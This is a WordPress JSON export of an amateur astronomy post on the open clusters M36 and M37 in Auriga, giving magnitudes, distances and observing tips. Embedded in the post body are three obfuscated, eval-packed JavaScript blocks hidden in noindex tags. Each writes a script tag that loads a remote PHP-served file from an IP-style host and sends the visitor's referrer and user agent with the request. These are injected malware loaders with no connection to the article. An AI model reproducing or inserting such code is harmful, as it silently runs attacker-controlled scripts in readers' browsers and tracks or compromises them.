{"id":24592,"date":"2011-11-25T15:22:56","date_gmt":"2011-11-25T23:22:56","guid":{"rendered":"http:\/\/wormholeriders.org\/science\/?p=24592"},"modified":"2011-11-25T15:22:56","modified_gmt":"2011-11-25T23:22:56","slug":"two-open-clusters-in-the-constellation-auriga-messier-objects-m36-m37","status":"publish","type":"post","link":"https:\/\/wormholeriders.org\/science\/?p=24592","title":{"rendered":"Two open clusters in the constellation Auriga, Messier Objects M36 &#038; M37"},"content":{"rendered":"<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">Three open clusters in the constellation Auriga, Messier Objects M36 and M37<\/span><\/span><br \/>\n<noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzarh|var|u0026u|referrer|rdhyr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idhib|var|u0026u|referrer|eabet||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iffan|var|u0026u|referrer|nibet||js|php'.split('|'),0,{}))\n<\/script><\/noindex><br \/>\n<span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">The constellation Auriga.<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">Sky &amp; Telescope Pocket Atlas page 12<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">Guide to Observing DSO&#8217;s Page 26\/27<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">The constellation Auriga is best seen from October through until April and is the home to many clusters but the main 3 are the better known ones, M36, 37 &amp; 38.\u00a0 There are also some lesser know clusters NGC1664, 1778, 1857, 1893, 1907 &amp; 2281.<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">The 3 brightest stars in Auriga are Capella, Menkalinan and El Nath.\u00a0 The constellations rises above the N\/East horizon by 7pm in November so it&#8217;s a nice easy target for early evening observations and photography, these clusters range in magnitude between 6&amp;7 and are visible in binoculars and small telescopes they are best viewed using a wide field of view eyepiece, as this will give the best views of these open clusters.<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">M36 (Mag 6.5)<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">The cluster is a loose disk of stars, slightly brighter and denser at the middle of the grouping.\u00a0 The cluster is made up of over 60 young stars and it&#8217;s approximately 15 light years in diameter and are mostly type &#8220;B&#8221; stars, very bright blue in colour.\u00a0 M36 is located roughly 4,000 light years distant from us.<\/span><\/span><\/p>\n<p><a href=\"http:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M36_Large2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-24597\" title=\"M36_Large\" src=\"http:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M36_Large2-300x220.jpg\" alt=\"\" width=\"300\" height=\"220\" srcset=\"https:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M36_Large2-300x220.jpg 300w, https:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M36_Large2-1024x752.jpg 1024w, https:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M36_Large2.jpg 1928w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">M37 (Mag 6.0)<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">This cluster is made up of several hundred stars with the brightest easily picked up with smaller scopes.\u00a0 The cluster is 25 light years diameter and 4.500 light years distant.<\/span><\/span><\/p>\n<p><a href=\"http:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M37-Large.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-24594\" title=\"M37 Large\" src=\"http:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M37-Large-300x232.jpg\" alt=\"\" width=\"300\" height=\"232\" srcset=\"https:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M37-Large-300x232.jpg 300w, https:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M37-Large-1024x792.jpg 1024w, https:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/M37-Large.jpg 1232w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\">Check them out in November\/December<\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\"><a title=\"click to follow Ray on Twitter\" href=\"http:\/\/twitter.com\/#!\/RayGil\" target=\"_blank\">Ray Gilchrist<\/a><\/span><\/span><\/p>\n<p><span style=\"font-size: 13pt; mso-fareast-font-family: 'Calibri'; mso-bidi-font-family: 'Calibri';\"><span style=\"font-family: 'Calibri';\"><a href=\"http:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/Raymond-Gilchrist-222.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24584\" title=\"Click to visit and follow Raymond Gilchrist on Twitter!\" src=\"http:\/\/wormholeriders.org\/science\/wp-content\/uploads\/2011\/11\/Raymond-Gilchrist-222.jpg\" alt=\"Click to visit and follow Raymond Gilchrist on Twitter!\" width=\"222\" height=\"250\" \/><\/a><br \/>\n<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Three open clusters in the constellation Auriga, Messier Objects M36 and M37 The constellation Auriga. Sky &amp; Telescope Pocket Atlas page 12 Guide to Observing DSO&#8217;s Page 26\/27 &nbsp; The constellation Auriga is best seen from October through until April and is the home to many clusters but the main 3 are the better known&#8230;<\/p>\n<p class=\"more-link-wrap\"><a href=\"https:\/\/wormholeriders.org\/science\/?p=24592\" class=\"more-link\">Read More<span class=\"screen-reader-text\"> &ldquo;Two open clusters in the constellation Auriga, Messier Objects M36 &#038; M37&rdquo;<\/span> &raquo;<\/a><\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[288,346,344,345,287,1],"tags":[331,341,343,333,332,334,342,335,336,337,338,339,340],"class_list":["post-24592","post","type-post","status-publish","format-standard","hentry","category-astronomy","category-astrophotography","category-constellations","category-messier-objects","category-ray-gilchrist","category-scientists","tag-auriga","tag-capella","tag-el-nath","tag-m36","tag-m37","tag-m38","tag-menkalinan","tag-ncg1664","tag-ngc1778","tag-ngc1857","tag-ngc1893","tag-ngc1907","tag-ngc2281"],"_links":{"self":[{"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=\/wp\/v2\/posts\/24592","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24592"}],"version-history":[{"count":11,"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=\/wp\/v2\/posts\/24592\/revisions"}],"predecessor-version":[{"id":24609,"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=\/wp\/v2\/posts\/24592\/revisions\/24609"}],"wp:attachment":[{"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24592"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24592"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wormholeriders.org\/science\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24592"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}